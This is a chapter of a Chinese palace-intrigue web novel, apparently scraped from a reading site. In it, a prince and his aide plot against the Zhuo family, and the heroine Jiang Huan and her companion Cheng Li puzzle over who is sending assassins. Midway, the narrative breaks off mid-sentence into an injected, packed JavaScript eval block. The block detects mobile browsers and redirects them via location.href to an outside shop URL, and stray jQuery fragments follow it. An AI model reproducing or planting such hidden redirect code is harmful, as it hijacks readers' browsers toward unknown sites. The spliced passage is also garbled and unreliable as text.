108.三头六臂
作品:《假死后,她的便宜兄长疯了》 赵明桢眉头微蹙,随后又恢复如常,他嘴角噙笑,做了个请的动作。
姜涣亦不打算继续弯弯绕绕,直截了当道:“公子可是这红绡台的东家?”
赵明桢摇头:“不是。”
“既然不是,那这银钱公子就没有资格收了。”姜涣如是说着,她稍抬手,手中千丝绳当即飞射而出钉在那钱袋之上。而后,她又按动机栝,将这钱袋抽回。“我损的是红绡台的屋子,这银子只给红绡台的东家。”
姜涣只将身子转过去便要走,她的步子走得平缓,虽双目不再去看赵明桢,可注意力始终都停留在他那处,直至走到大堂。
虞枳:“王爷,可需派人盯着?”
赵明桢点了点头,虞枳当即对着一旁随侍使了个眼色,随即屋内的一行人就都退了出去。
虞枳:“王爷,方才那人若属下没有记错,她生得与卓恒那个妹妹好生相似。”
“你没记错,她跟卓璃确实如出一辙。” 赵明桢抬头瞧了瞧屋顶的那个破洞,“只不过,卓璃是个手无缚鸡之力的人,而且,性子懦弱。”
虞枳:“那女子方才落入屋内的身法,还有取走钱袋的手法,没有个十几载功力是练不出来的。”
赵明桢:“是呀,卓璃消失在这世间,也有十年了。”
虞枳:“王爷的意思是,那人就是卓璃?那,那她岂不是假死逃脱,犯了欺君之罪?”
赵明桢点头:“是呀,若犯此罪,卓家满门都得赴死。”
赵明桢站起身来,锦缎衣摆扫过地上的碎瓦片。“卓远山父子都是迂腐之辈,他们心里只记得忠君,可是不知道这君不贤,不德,就没必要忠了。”
虞枳:“这些年来,咱们里里外外往殿前司塞了好些人,皆不能近身守在明辉殿前。卓远山既无法为咱们所用,王爷,不如就借着这机会将事捅出来,好叫卓家没落接手殿前司。”
卓远山虽与杜家是亲眷,但这些年来卓远山一直保持中立,他非但不与东宫往来,甚至连杜家都快断了素日里的走动。
而若有人想要谋夺那个位置,必须得有殿前司相助,不然史书上少不得要多加几笔诟病赵明桢。
赵明桢:“你这般急着发难,陛下那么多疑怎么会不多想呢?眼下卓恒才从武林城查完官银案回来,这案子陛下迟迟给个定论,咱们若在这时候发难,陛下不会信卓家欺君,只会信咱们谋逆。”
虞枳:“那殿下是打算?”
赵明桢:“先把她入都城后近几日的行程都查清楚了。”
虞枳:“是。”
姜涣回到都城不过数日,且她亦未掩藏过自己的行踪,是以此等事情于虞枳而言并不难,不过一个时辰他便将一切都查明了,随后就将消息递到了赵明桢跟前。
“这个姜涣入城之后先是往几家药铺中抓药,等将满都城的药铺都去遍之后,就去了永乐侯府。她离开永乐侯府的当夜,就遇上了刺客,那些刺客行刺之时遇到了京兆府的差役,差役就把她关牢里了。”
“第二日,铺国公世子去京兆府的时候遇到了她,经王煦开口,才将人放出来。放出来的翌日晚间,她就来了红绡台。然后在后院里又遇上人行刺。”
赵明桢玩味道:“这刺杀安排得可够紧的,短短几天刺了两场,而且专挑她在外头的时候刺。怎么,她下榻的客栈很是了不得?”
虞枳:“虚市四方客栈,老板就是都城人,开了这家客栈十几年,并无什么过人之处。”
赵明桢: “那就是这些刺杀都醉翁之意不在酒。永乐侯府的事素来都是由长乐郡主做主,她从永乐侯府出来就遇刺,在外人眼中怎么瞧都像是长乐郡主的手笔。”
虞枳:“长乐郡主是赵元琅的人,而官银案就有赵元琅的手笔,此时陛下未有明旨,只怕是还在犹豫要不要处置,要处置得多深。”
赵明桢:“所以,长乐郡主不会这么傻,不会在此时动手去节外生枝。她即使是要杀姜涣,也合该换个时辰,换个地方。”
虞枳:“那会不会是王煦?毕竟东宫那位还是记着卓璃的,因着这事,咱们也往他身边塞了人进去。”
赵明桢:“王煦倒是有可能,但他是在第一次遇刺后才遇着姜涣的。第二次的行刺恐是他的人所为,但第一次应当不会。”
“罢了,行刺一事让咱们自己的人去查,不能假手于人。”赵明桢的手指捏着酒盏,他的眼眸流转,不多时便心生一计。“城外梅林的花,该开了吧?”
虞枳老实回答:“属下不知。”
赵明桢:“想办法让梅林开花,把该出现的,不该出现的人,都请过去。咱们,好好看上一场戏。”
虞枳听罢当即回过神来,这便也退出门去安排了。
而另一面,姜涣亦独自立在客栈回廊下发呆。
从永乐侯府出来后遇刺,她猜想可能会是长乐郡主的手笔,可若是长乐郡主,她也知晓自己在四方客栈,怎么偏喜欢在外头对她动刀动枪,反而不在客栈里对她动手?
她在这四方客栈里住了好几日,这客栈里外不单她,连成鲤都里外探过好几次,确实就是再寻常不过的一家客栈而已。
放着一个这么容易混进来的地方不下手,非要大张旗鼓拦路刺杀,委实有点叫人摸不着头脑。
姜涣与成鲤将这事说了,成鲤亦觉奇怪,她左右思量无果,只得继续将自己当鱼饵放出去,务求再有鱼来咬一次钩。
怎她接连在夜间的都城走了好几日,都再没人刺杀她了。
“是我想错了吗?不应该呀,那陈瑶池知道我跟永乐侯单独去他院里的时候,那都急成什么样了。不应该猜错才是。”姜涣趴在桌案上,双目之中满是无力,仿佛肉身无骨,就这么瘫做一团。
“你没猜错。”成鲤端着碗不停地夹着菜,“这永乐侯府素来都是长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740868|182146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乐郡主做主的,满都城的人都知道。而长乐郡主又是个不能容人的,她就算不派人杀人,那也得给你使点绊子把你赶出都城。”
“但现在没有动手,应该是她不能动手。”
姜涣:“为什么?”
成鲤:“卓恒去武林城查官银案,皇帝怎么就能同意陈瑶池跟着一块去呢?估计这官银案,永乐侯府多少也牵涉其中。现在皇帝一直没个决断,长乐郡主不想在这时候节外生枝。”
“他们在劫官银的时候选在了武林城外的云水山坳,要是那会儿师叔同你都在武林城,想必你们也会去探一探。无论是谁,他都知道师叔在武林城,而且也忌惮师叔。”
“所以,才有了素问谷的叛徒断了联络方式,把师叔给请了过去。”
姜涣抬头,目光中满是震惊:“小鲤鱼,你什么时候这么有脑子了?”他不是素来少根筋的吗?怎么这次自己一下子没想明白,他就能想这么通透了?
“你没脑子的时候,我就能补一下。”成鲤白了她一眼,又夹了块肉放到自己碗里。“赶紧吃饭,吃完再想想应该怎么办。”
姜涣端了碗刚吃了一口,又道:“不对。如果说策划官银案的人是长乐郡主,那她早就知道师父在武林城了。我跟师父在武林九年,从来就没有发现有人在盯着我们,更没遇上人来闹事。”
“这要是长乐郡主,她有大把的时间过来杀人放火呀。再说,九年前我还是个什么都不会的把拖油瓶,下手正是好时机。”
成鲤:“有没有一种可能,人也是在官银案发生的时候才知道师叔在武林城。逼于无奈,这才只能退而求其次,暂时按下不提呢?”
“也是哦。”姜涣想了想,觉得成鲤所言很是有理,这便又吃了一口。“对了,那永乐侯府这几天有什么动静吗?”
成鲤嫌弃地看了她一眼,随即摆下了碗。“姐姐,我就一个人,一个脑袋,一双眼睛,我能在盯着红绡台的时候把永乐侯府也一并盯了去吗?你来看,你看我像是有三头六臂的样子?”
“咳咳,”姜涣尴尬地咳了两声:“抱歉,是我草率了,草率了。”
成鲤这才重新端了碗吃饭。
姜涣随意扒了几口饭,“这样吧,我明天再去一趟永乐侯府。既然长乐郡主不动手,那就只能我多去几次,逼一逼她了。”
成鲤:“那我继续盯着红绡台?”
“你方才那聪明劲呢?”姜涣瞧向他,“我都过去打草惊蛇过了,就算那边是一处联络点,近些时日也应该都会歇下了。”
成鲤:“行,那我就什么都不干。”
姜涣:“想得美,你盯着永乐侯吧。他一个从江湖中摸爬滚打到现在这个位置,他绝对不是一个只听长乐郡主行事的人。永乐侯府谁当家,还真说不准。”
二人将事情议定,未待他们将饭食吃罢,便有一只长箭自窗外射入,直直钉在屋内梁柱之上。

